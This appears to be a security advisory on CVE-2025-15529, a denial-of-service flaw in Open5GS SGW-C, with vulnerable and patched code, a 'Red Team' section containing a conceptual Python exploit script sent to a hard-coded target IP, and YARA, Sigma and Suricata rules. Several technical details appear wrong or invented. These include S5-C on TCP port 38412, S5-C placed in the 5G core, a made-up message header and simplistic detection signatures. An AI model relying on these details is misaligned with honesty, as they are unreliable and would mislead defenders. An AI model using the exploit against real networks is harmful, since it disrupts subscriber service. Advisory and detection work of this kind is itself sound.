CVE-2025-15529

Executive Summary

CVE-2025-15529 is a denial-of-service (DoS) vulnerability in Open5GS, an open-source implementation of the 5G Core network. The flaw resides in the sgwc_s5c_handle_create_session_response function within src/sgwc/s5c-handler.c. By sending a specially crafted S5-C Create Session Response message, an unauthenticated remote attacker can trigger a NULL pointer dereference (CWE-476), causing the SGW-C (Serving Gateway Control plane) process to crash. This leads to a denial of service for the core network, disrupting subscriber sessions and potentially affecting all connected eNodeBs/gNodeBs.

The vulnerability is remotely exploitable without authentication, making it a critical risk for production 5G core deployments. A public exploit has been released, and a patch is available in the upstream repository. Immediate patching is strongly recommended.

Supply Chain & Package Security

Open5GS is a C-based project distributed via GitHub and often compiled from source or installed via package managers (e.g., apt, yum, or Docker images). The vulnerability affects the core network function (SGW-C), which is a critical component in the 5G control plane. Organizations using Open5GS in production or lab environments must verify their deployment version and apply the patch. There is no known compromise of the package distribution channels, but the public exploit increases the risk of targeted attacks.

CVSS Breakdown & Threat Level

The CVSS score is not officially assigned, but based on the vulnerability characteristics, a reasonable estimate is:

• Attack Vector (AV): Network (AV:N) – Exploitable remotely.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerable component is the only one affected.
• Confidentiality (C): None (C:N) – No data exposure.
• Integrity (I): None (I:N) – No data modification.
• Availability (A): High (A:H) – Complete loss of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Score: 7.5 (High)

Threat Level: High. The combination of remote exploitability, no authentication, and public exploit code makes this a serious threat to any Open5GS deployment.

Deep Dive & Mechanics

The vulnerability is a NULL pointer dereference in the SGW-C's handling of the S5-C Create Session Response message. The S5-C interface is used between the SGW-C and PGW-C (Packet Gateway Control plane) in the 5G core. When the SGW-C receives a Create Session Response, it processes the message in the sgwc_s5c_handle_create_session_response function.

The issue occurs when the function attempts to access a pointer that is not properly validated. Specifically, if the response message contains a malformed or missing Information Element (IE), the code may attempt to dereference a NULL pointer, leading to a segmentation fault and process crash.

The vulnerable code path is triggered by sending a crafted S5-C message to the SGW-C's S5-C interface (typically listening on port 38412). The attacker does not need to be authenticated or have any prior knowledge of the network state.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.7.6):

// In src/sgwc/s5c-handler.c
int sgwc_s5c_handle_create_session_response(sgwc_s5c_message_t *message) {
    // ... other code ...
    sgwc_sess_t *sess = message->sess; // Could be NULL if not properly set
    // ... later ...
    sgwc_bearer_t *bearer = sess->bearer; // Dereference without NULL check
    // ... crash if sess is NULL ...
}

Patched Code (after commit b19cf6a2dbf5d30811be4488bf059c865bd7d1d2):

// In src/sgwc/s5c-handler.c
int sgwc_s5c_handle_create_session_response(sgwc_s5c_message_t *message) {
    // ... other code ...
    sgwc_sess_t *sess = message->sess;
    if (sess == NULL) {
        // Log error and return gracefully
        ogs_error("No session in Create Session Response");
        return OGS_ERROR;
    }
    sgwc_bearer_t *bearer = sess->bearer; // Safe now
    // ... rest of processing ...
}

The patch adds a NULL check for the sess pointer before dereferencing it, preventing the crash.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running Open5GS <= 2.7.6 with the SGW-C exposed on the network (default port 38412).
• A tool to craft and send raw S5-C messages (e.g., Scapy, custom Python script, or a 5G protocol fuzzer).

Exploit Steps:

1. Identify the target SGW-C IP and port (default 38412).
2. Craft a malformed S5-C Create Session Response message. The key is to omit or corrupt the session context IE so that the sess pointer is NULL.
3. Send the crafted message to the target.
4. Observe the SGW-C process crash (e.g., via logs or process monitoring).

Example Python Exploit (Conceptual):

import socket
import struct

def craft_malformed_response():
    # S5-C header (simplified)
    version = 1
    msg_type = 0x02  # Create Session Response
    # Omit session context IE to cause NULL pointer
    payload = b""
    header = struct.pack("!BBH", version, msg_type, len(payload))
    return header + payload

def exploit(target_ip, target_port=38412):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(craft_malformed_response())
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Note: This is a simplified example. A real exploit would need to conform to the S5-C protocol specification more closely, but the core idea is to trigger the NULL pointer dereference.

Blue Team

Detection:

• Monitor SGW-C logs for crashes or segmentation faults.
• Use network monitoring to detect malformed S5-C messages.
• Implement the detection rules provided in the Detection Engineering section.

Mitigation:

• Apply the patch immediately.
• Restrict network access to the SGW-C S5-C interface (port 38412) to trusted PGW-C IPs only.
• Use a Web Application Firewall (WAF) or network intrusion detection system (NIDS) to filter malformed S5-C messages.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Malformed S5-C Create Session Response messages on port 38412.
  • Unexpected TCP connections to the SGW-C from untrusted IPs.
• System IOCs:
  • SGW-C process crash logs (e.g., segfault, SIGSEGV).
  • Core dumps from the SGW-C process.
  • Log entries showing ogs_error or ogs_assert failures in s5c-handler.c.
• File IOCs:
  • Presence of exploit scripts or tools (e.g., Python scripts with S5-C crafting code).

Detection Engineering

YARA Rule

rule CVE_2025_15529_Open5GS_SGW_Crash {
    meta:
        description = "Detects malformed S5-C Create Session Response messages targeting Open5GS SGW-C"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15529"
    strings:
        $s5c_header = { 01 02 ?? ?? } // Version 1, Message Type 2 (Create Session Response)
        $null_sess = { 00 00 00 00 } // Potential NULL pointer in session context
    condition:
        $s5c_header and #null_sess > 0
}

Sigma Rule

title: CVE-2025-15529 - Open5GS SGW-C Denial of Service
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-15529 by sending malformed S5-C Create Session Response messages.
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 38412
        app_protocol: 's5c'
        payload|contains: '0102'  # Version 1, Message Type 2
    condition: selection
falsepositives:
    - Legitimate S5-C traffic from authorized PGW-Cs
level: high

Suricata Rule

alert tcp any any -> any 38412 (msg:"CVE-2025-15529 - Open5GS SGW-C DoS Attempt"; flow:to_server,established; content:"|01 02|"; depth:2; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Apply the patch from commit b19cf6a2dbf5d30811be4488bf059c865bd7d1d2 to the Open5GS source code and rebuild the affected binary.
2. Network Segmentation: Restrict access to the SGW-C S5-C interface (port 38412) to only trusted PGW-C IPs using firewall rules.
3. Update to Latest Version: Upgrade to Open5GS version 2.7.7 or later once released.
4. Monitoring: Implement the detection rules above to identify exploitation attempts.
5. Incident Response: If exploitation is suspected, isolate the affected SGW-C, collect logs and core dumps, and investigate for further compromise.

Valters IT